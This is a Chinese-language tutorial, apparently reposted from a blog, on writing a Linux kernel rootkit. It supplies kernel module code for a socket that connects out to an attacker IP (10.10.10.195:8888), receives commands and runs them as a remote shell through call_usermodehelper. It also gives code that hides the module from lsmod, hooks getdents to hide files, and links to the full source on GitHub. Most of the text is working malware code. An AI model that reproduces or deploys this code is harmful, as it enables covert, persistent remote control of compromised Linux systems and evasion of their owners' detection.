编写一个简单的linux kernel rootkit

一、前言

linux kernel rootkit跟普通的应用层rootkit个人感觉不大,个人感觉区别在于一个运行在用户空间中,一个运行在内核空间中;另一个则是编写时调用的API跟应用层rootkit不同

一个最简单的linux kernel rootkit就是一个linux kernel module

PS:如有错误,请斧正

二、环境

内核版本:5.4.0-120
攻击机:kal
靶机和编译机:ubuntu18 64位

三、linux kernel module

PS: linux kernel module编写网上资料很多,这里不在过多叙述

1、一个linux kernel module必备的函数为 module_initmodule_exit ,前者为linux kernel module加载时调用的函数,后者为linux kernel module卸载时调用的函数,如下所示:

module_init(rootkit_init);
module_exit(rootkit_exit);

2、当然,也有其他 module 开头的函数,例如 ODULE_AUTHOR 声明作者等函数,但这些都是可选的

3、linux kernel module打印函数也跟用户态的 printf 函数不同,为 printk 函数,当然,也不会打印在终端中,通过 printk 打印的信息可通过 dmesg 命令查看

4、一个最简单的linux kernel module如下所示,其中 module_init 声明了模块加载时的函数 example_initmodule_exit 声明了模块卸载时调用的函数函数 example_exit ,这个最简单的linux kernel module实现的功能就是在加载时和卸载时打印字符串

#include
#include
#include

MODULE_LICENSE("GPL");
MODULE_AUTHOR("windy_ll");
MODULE_DESCRIPTION("Basic Kernel Module");
MODULE_VERSION("0.01");

static int __init example_init(void)
{
    printk(KERN_INFO "Hello, world!\n");
    return 0;
}

static void __exit example_exit(void)
{
    printk(KERN_INFO "Goodbye, world!\n");
}

module_init(example_init);
module_exit(example_exit);

5、linux kernel module可通过 make modules 命令编译,例如本篇编译的 Makefile 文件如下所示:

obj-m += rootkit.o

all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

5、linux kernel module使用命令 insmod 加载,使用 rmmod 命令卸载,可以使用 lsmod 命令查看所有已经加载的linux kernel module。上面的linux kernel module运行结果如下图所示:

编写一个简单的linux kernel rootkit

编写一个简单的linux kernel rootkit

编写一个简单的linux kernel rootkit

四、hook系统调用表

1、系统调用表(System call Table),是一张由指向实现各种系统调用的内核函数的函数指针组成的表,该表可以基于系统调用编号进行索引,来定位函数地址,完成系统调用(PS: 来自百度百科),系统调用表详细列表如下链接所示:

https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl

2、系统调用表的hook一般可以通过以下几种方式来实现:

  • 找到系统调用表位置,修改系统调用表中的函数地址
  • 找到系统调用表位置,修改系统调用表函数前几个字节做一个jmp,就是inlinehook,当然可以在汇编上直接替换掉系统调用表的函数二进制指令
  • 利用别人写好的框架,例如ftrace(PS:本文为了方便,即利用此方式) 3、获取系统调用表地址一般也可以通过以下几种方式来实现
  • 通过调用函数kallsyms_lookup_name获取(ps:高版本已经被禁用该函数)
  • 扫描内存,匹配特征码来找到系统调用表的地址
  • 读取/proc/kallsym文件来获取
  • 其他方法,不在过多介绍 *4、linux kernel rootkit中的某些功能需要通过hook系统调用表的函数来实现,例如监控命令的执行等

五、linux kernel多线程

1、linux kernel中的多线程可使用宏定义 kthread_run 来创建一个内核线程,第一个参数为线程要执行的函数名,使用 kthread_stop 来停止

2、一个简单的多线程示例如下所示:(PS: 这里不用导入那么多头文件,之所以使用这么多头文件,是使用了其他API)

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

static struct task_struct *test_kthread = NULL;

static int kthread_test_func(void *data)
{
    return 0;
}

static __init int kthread_test_init(void)
{
    test_kthread = kthread_run(kthread_test_func, NULL, "kthread-test");
    if (!test_kthread) {
        return -ECHILD;
    }

    return 0;
}

static __exit void kthread_test_exit(void)
{
}

module_init(kthread_test_init);
module_exit(kthread_test_exit);

六、linux kernel socket

1、linux内核中的通信和用户层面的步骤差不多,都是先创建socket、连接或监听socket、调用函数收发信息、关闭连接

2、不同点在于调用的API不同,linux内核中调用的是 sock_create_kern 函数来创建socket,调用 sock->ops->connect 来连接服务端(PS:这里的sock是前面创建的socket连接符),调用 kernel_sendmsg 来发送信息,调用 kernel_recvmsg 来接收信息,调用 kernel_sock_shutdown 函数来关闭连接,调用 sock_release 函数来释放socket连接符,按照用户层的socket的流程来调用即可

3、上面的api不是唯一的,linux源码中还提供了其他的函数来实现socket连接,感兴趣的可以去查阅相关的linux源码

4、上面只写了socket客户端,不写socket服务端的原因是作者测试了好几套api在5.4的内核版本中,都运行到某个阶段内核就挂了,知道原因的大佬可以指出是什么原因

5、测试用例如下所示:

static int myserver(void *data){

        struct socket *sock,*client_sock;
        struct sockaddr_in s_addr;
        unsigned short portnum=8888;
        int ret=0;
        char recvbuf[1024];
    char sendbuf[4096];
    char *result;
        struct msghdr recvmsg,sendmsg;
    struct kvec send_vec,recv_vec;

    //sendbuf = kmalloc(1024,GFP_KERNEL);
    if(sendbuf == NULL) {
        printk(KERN_INFO "[SockTest]: sendbuf kmalloc failed!\n");
        return -1;
    }

    //recvbuf = kmalloc(1024,GFP_KERNEL);
    if(recvbuf == NULL) {
        printk(KERN_INFO "[SockTest]: recvbuf kmalloc failed!\n");
        return -1;
    }

        memset(&s_addr,0,sizeof(s_addr));
        s_addr.sin_family=AF_INET;
        s_addr.sin_port=htons(portnum);
        s_addr.sin_addr.s_addr=in_aton("10.10.10.195");

        sock=(struct socket *)kmalloc(sizeof(struct socket),GFP_KERNEL);
        client_sock=(struct socket *)kmalloc(sizeof(struct socket),GFP_KERNEL);

        /*create a socket*/
        ret=sock_create_kern(&init_net,AF_INET, SOCK_STREAM,0,&sock);
        if(ret < 0){
                printk("[SockTest]:socket_create_kern error!\n");
        return -1;
        }
        printk("[SockTest]:socket_create_kern ok!\n");

        /*connect the socket*/
        ret=sock->ops->connect(sock,(struct sockaddr *)&s_addr,sizeof(s_addr),0);
    printk(KERN_INFO "[SockTest]: connect ret = %d\n",ret);
    /*
        if(ret != 0){
                printk("[SockTest]: connect error\n");
                return ret;
        }
    */
        printk("[SockTest]:connect ok!\n");

    memset(sendbuf,0,1024);

    strcpy(sendbuf,"test");

    memset(&sendmsg,0,sizeof(sendmsg));
    memset(&send_vec,0,sizeof(send_vec));

    send_vec.iov_base = sendbuf;
    send_vec.iov_len = 4096;

        /*send*/
    ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,4);
    printk(KERN_INFO "[SockTest]: kernel_sendmsg ret = %d\n",ret);
    if(ret < 0) {
        printk(KERN_INFO "[SockTest]: kernel_sendmsg failed!\n");
        return ret;
    }
    printk(KERN_INFO "[SockTest]: send ok!\n");
    memset(&recv_vec,0,sizeof(recv_vec));
    memset(&recvmsg,0,sizeof(recvmsg));

    recv_vec.iov_base = recvbuf;
    recv_vec.iov_len = 1024;

        /*kmalloc a receive buffer*/
    while(true) {
        memset(recvbuf, 0, 1024);

        ret = kernel_recvmsg(sock,&recvmsg,&recv_vec,1,1024,0);
        printk(KERN_INFO "[SockTest]: received message: %s\n",recvbuf);
        if(!strcmp("exit",recvbuf)) {
            break;
        }
        printk(KERN_INFO "[SockTest]: %ld\n",strlen(recvbuf));
        result = execcmd(recvbuf);
        memset(sendbuf,0,4096);
        strncpy(sendbuf,result,4096);
        ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,strlen(sendbuf));
    }

    kernel_sock_shutdown(sock,SHUT_RDWR);
    sock_release(sock);
    printk(KERN_INFO "[SockTest]: socket exit\n");

    return 0;
}

七、linux kernel命令执行

1、对于一个rootkit来说,最核心的功能点肯定在于能够执行命令

2、在linux内核中,有以下几种方式可以用来执行命令:

  • hook系统调用表,劫持命令执行函数sys_execve
  • 调用call_usermodehelper函数直接执行命令 3、这里使用的是第二种方式来执行命令,第一种只做到了无参数命令执行,对于有参数的解析其参数时按照指针数组解析出来的不知道为啥一直是乱码,知道原因的大佬可以指教以下 *4、无论是什么方式,都无法将命令回显结果直接写入内存直接读取,所以这里采用的是将命令结果利用 > 写入某个文件中,然后调用 vfs_read 函数读取文件获取命令回显,如下所示:
static char* execcmd(char cmd[1024])
{
        int result;
    struct file *fp;
    mm_segment_t fs;
    loff_t pos;
    static char buf[4096];
    char add[] = " > /tmp/result.txt";
        char cmd_path[] = "bin/sh";
    strcat(cmd,add);
        char *cmd_argv[] = {cmd_path,"-c",cmd,NULL};
        char *cmd_envp[] = {"HOME=/","PATH=/sbin:/bin:/user/bin",NULL};
        result = call_usermodehelper(cmd_path,cmd_argv,cmd_envp,UMH_WAIT_PROC);
        printk(KERN_INFO "[TestKthread]: call_usermodehelper() result is %d\n",result);
    fp = filp_open("/tmp/result.txt",O_RDWR | O_CREAT,0644);
    if(IS_ERR(fp)) {
        printk(KERN_INFO "open file failed!\n");
        return 0;
    }
    memset(buf,0,sizeof(buf));
    fs = get_fs();
    set_fs(KERNEL_DS);
    pos = 0;
    vfs_read(fp,buf,sizeof(buf),&pos);
    printk(KERN_INFO "shell result %ld:\n",strlen(buf));
    printk("%s\n",buf);
    filp_close(fp,NULL);
    set_fs(fs);
    return buf;
}

八、隐藏内核模块自身

1、对于linux kernel rootkit,很重要的一点就是隐藏自己的存在,不然受害者一个 lsmod 就发现了

2、通过 lsmod 读出来的已经加载的内核模块在内存中的表现形式为一个链表,我们可以通过添加、删除这个链表中的节点来实现对内核模块的显示和隐藏

3、我们可以通过 THIS_MODULE 这个变量来访问上述的连接,幸运的是,官方提供了API 来添加和删除节点,分别为 list_dellist_add 函数

4、实现该功能源码如下所示:

void hideme(void)
{
    prev_module = THIS_MODULE->list.prev;
    list_del(&THIS_MODULE->list);
}

void showme(void)
{
    list_add(&THIS_MODULE->list,prev_module);
}

九、隐藏文件

1、由于前面的命令执行功能获取命令回显结果产生了一些文件,所以我们还要隐藏这些产生从文件来避免我们的rootkit被发现

2、我们可以通过hook sys_getdents 系统调用来实现,该系统调用有三个参数,其中第二个参数为一个指针,该指针所存储的即为一个目录的文件和目录信息,在内存中的数据结构为一个链表,通过遍历这个链表然后删除相应的节点即可达到隐藏文件的目的

3、该链表的数据结构如下所示,其中, d_name 为文件或目录的名称, d_reclen 为长度,通过这两个数据,我们即可实现隐藏文件和目录的功能

struct linux_dirent {
        unsigned long d_ino;
        unsigned long d_off;
        unsigned short d_reclen;
        char d_name[];
        };

4、该功能实现示例如下所示:

asmlinkage int hook_getdents(const struct pt_regs *regs)
{
    struct linux_dirent {
        unsigned long d_ino;
        unsigned long d_off;
        unsigned short d_reclen;
        char d_name[];
    };
    struct linux_dirent __user *dirent = (struct linux_dirent *)regs->si;
    struct linux_dirent *current_dir,*previous_dir,*dirent_ker = NULL;
    unsigned long offset = 0;
    long error;

    int ret = orig_getdents(regs);
    dirent_ker = kzalloc(ret, GFP_KERNEL);

    if ((ret d_name) == 1)
        {
            if(debug_mode == 1)
            {
                printk(KERN_DEBUG "rootkit: Found %s\n", current_dir->d_name);
            }
            if(current_dir == dirent_ker)
            {
                ret -= current_dir->d_reclen;
                memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
                continue;
            }
            previous_dir->d_reclen += current_dir->d_reclen;
        }
        else
        {
            previous_dir = current_dir;
        }
        offset += current_dir->d_reclen;
    }

    error = copy_to_user(dirent, dirent_ker, ret);
    if(error)
    {
        printk(KERN_DEBUG "error 3\n");
        goto done;
    }

done:
    kfree(dirent_ker);
    return ret;
}

十、ftrace使用方法

1、导入头文件 ftrace_helper.h

2、定义一个 ftrace_hook hooks 结构体数组,如下所示:

static struct ftrace_hook hooks[] = {
    HOOK("sys_mkdir",hook_mkdir,&orig_mkdir),
};

调用 fh_install_hooks 函数挂钩,调用 fh_remove_hooks 函数解挂即可

十一、其他

1、在 linux kernel 4.17 之后,系统调用函数的参数全部存储在 pt_reg 结构体中,要实际访问到其参数,需要去读取该结构体

2、由于rootkit运行在内核空间中,要访问用户空间的数据,需要使用 strncpy_from_user 等函数将用户空间的变量拷贝到内核空间中

3、要申请内核空间,不能使用 malloc ,而是要使用 kmalloc 等函数来申请

十二、linux kernel rootkit使用截图

1、命令执行

编写一个简单的linux kernel rootkit

2、隐藏内核模块

编写一个简单的linux kernel rootkit

编写一个简单的linux kernel rootkit

编写一个简单的linux kernel rootkit

3、隐藏文件

编写一个简单的linux kernel rootkit

编写一个简单的linux kernel rootkit

编写一个简单的linux kernel rootkit

十三、github以及参考连接

1、github链接:

https://github.com/windy-purple/linux_kernel_rootkit

2、参考链接:

https://memset.wordpress.com/2011/01/20/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x/

https://memset.wordpress.com/2011/03/18/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x-2/

https://stackoverflow.com/questions/39502198/finding-the-sys-call-table-in-memory-64-bit-on-4-x-x-kernel

https://xcellerator.github.io/posts/linux_rootkits_01/

https://syscalls64.paolostivanin.com/

https://github.com/vkobel/linux-syscall-hook-rootkit

https://blog.csdn.net/yeshennet/article/details/82315604

https://www.anquanke.com/post/id/241090

https://www.codeleading.com/article/24384639787/

https://www.cnblogs.com/embedded-linux/p/7439984.html

https://stackoverflow.com/questions/58821458/error-passing-argument-1-of-kthread-create-on-node-from-incompatible-pointer

https://blog.csdn.net/qq_30624591/article/details/109685620

https://github.com/abysamross/simple-linux-kernel-tcp-client-server

https://github.com/croemheld/lkm-rootkit

https://gist.github.com/llj098/752417

https://blog.csdn.net/miaohongyu1/article/details/16986053

https://www.ichenfu.com/2017/01/16/kernel-sock-client-example/

https://blog.csdn.net/whshiyun/article/details/82013181

https://developer.aliyun.com/article/459022

https://blog.csdn.net/whatday/article/details/98448435

Original: https://www.cnblogs.com/aWxvdmVseXc0/p/16560341.html
Author: windy_ll
Title: 编写一个简单的linux kernel rootkit

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/585598/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • DHCP服务

    一、dhcp介绍 dhcp 应用层协议 动态主机配置协议 作用: 为主机动态分配tcp/ip参数(ip地址、掩码、网关、DNS服务器地址) Linux实现dhcp服务 软件: dh…

    Linux 2023年6月7日
    070
  • JuiceFS v1.0 beta3 发布,支持 etcd、Amazon MemoryDB、Redis Cluster

    JuiceFS v1.0 beta3 在元数据引擎方面继续增强,新增 etcd 支持小于 200 万文件的使用场景,相比 Redis 可以提供更好的可用性和安全性。同时支持了 Am…

    Linux 2023年6月14日
    098
  • MySQL之存储引擎、基本数据类型及约束条件

    一、存储引擎 数据库存储引擎是数据库底层软件组织,数据库管理系统(DBMS)使用数据引擎进行创建、查询、更新和删除数据。不同的存储引擎提供不同的存储机制、索引技巧、锁定水平等功能,…

    Linux 2023年6月14日
    079
  • MySQL日志管理之通用日志和慢查询日志

    MySQL的通用日志: 用来记录对数据库的通用操作,包括错误的sql语句等信息。 通用日志可以保存在:file(默认值)或 table(mysql.general_log表) my…

    Linux 2023年6月7日
    0115
  • java分布式(第四章)——Redis

    老套路 1、什么是Redis 2、为什么要用Redis 3、怎么用Redis 4、使用Redis过程中遇到的问题 1、什么是Redis 介绍Redis之前先了解一下Nosql(非关…

    Linux 2023年6月7日
    077
  • Linux系统僵尸进程详解

    大安好,我是良许。 在本文中,我们将讨论什么是僵尸进程,如何创建僵尸进程,以及如何终止僵尸进程。 [En] In this article, we will discuss wha…

    Linux 2023年5月27日
    098
  • 在.NET中体验GraphQL

    前言 以前需要提供Web服务接口的时候,除了标准的WEBAPI形式,还考虑了OData、GraphQL等形式,虽然实现思路上有很大的区别,但对使用方来说,都是将查询的主动权让渡给了…

    Linux 2023年6月6日
    0122
  • 利用Tensorboard可视化模型、数据和训练过程

    在60分钟闪电战中,我们像你展示了如何加载数据,通过为我们定义的 nn.Module的子类的model提供数据,在训练集上训练模型,在测试集上测试模型。为了了解发生了什么,我们在模…

    Linux 2023年6月14日
    095
  • 环境变量

    环境变量,简单来说就是描述程序执行环境的一组变量。 1、什么程序执行环境? 环境已经基础词汇呢,我们通常都用环境去解释别的词,想一下,日常生活怎么用环境。你到一个新地方,我问你环境…

    Linux 2023年6月6日
    0106
  • 爬虫

    简介: 浏览器发送http请求,去后端服务器获取到数据之后只能从浏览器中看,如果要把需要的数据保存到本地,存到我们自己库中就可以用到爬虫 百度本质就是一个大爬虫(搜索),在输入框中…

    Linux 2023年6月14日
    092
  • Linux的文件结构和基本分类

    (注:此笔记默认操作系统为centOS7) Windows下的文件都是以盘符开头的,Linux中没有盘符,所有文件都在根目录下。 cd /进入根目录 ls /显示根目录下的文件查看…

    Linux 2023年6月7日
    087
  • gem 更换源及目前能用的源

    1.查看gem源 gem source -l 2.删除源 gem source -r 3.添加源 gem sources –add Original: https://…

    Linux 2023年6月8日
    0103
  • 存入redis中的java对象都需要序列化

    存入redis中的java对象都需要实现Serializable接口 Original: https://www.cnblogs.com/toSeeMyDream/p/127795…

    Linux 2023年5月28日
    0103
  • 我懂得了什么

    站在24岁的这个档口,没有学业又没有工作的时刻,前不着村后不着店。我觉得应该要写一些总结,虽然年仅24的我相比老人家总结不出更深刻的道理,但是现在是互联网的时代,获取知识的途径已经…

    Linux 2023年6月6日
    093
  • Shiro结合Redis实现分布式或集群环境下的Session共享

    本篇是Shiro系列第二篇,使用Shiro基于Redis实现分布式或集群环境下的Session共享。在讲Session共享之前先说一下为什么要做Session共享。 什么是Sess…

    Linux 2023年5月28日
    0116
  • springboot整合redis-sentinel支持Cache注解

    一、前提 已经存在一个redis-sentinel集群,两个哨兵分别如下: /home/redis-sentinel-cluster/sentinel-1.conf port 26…

    Linux 2023年5月28日
    074
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球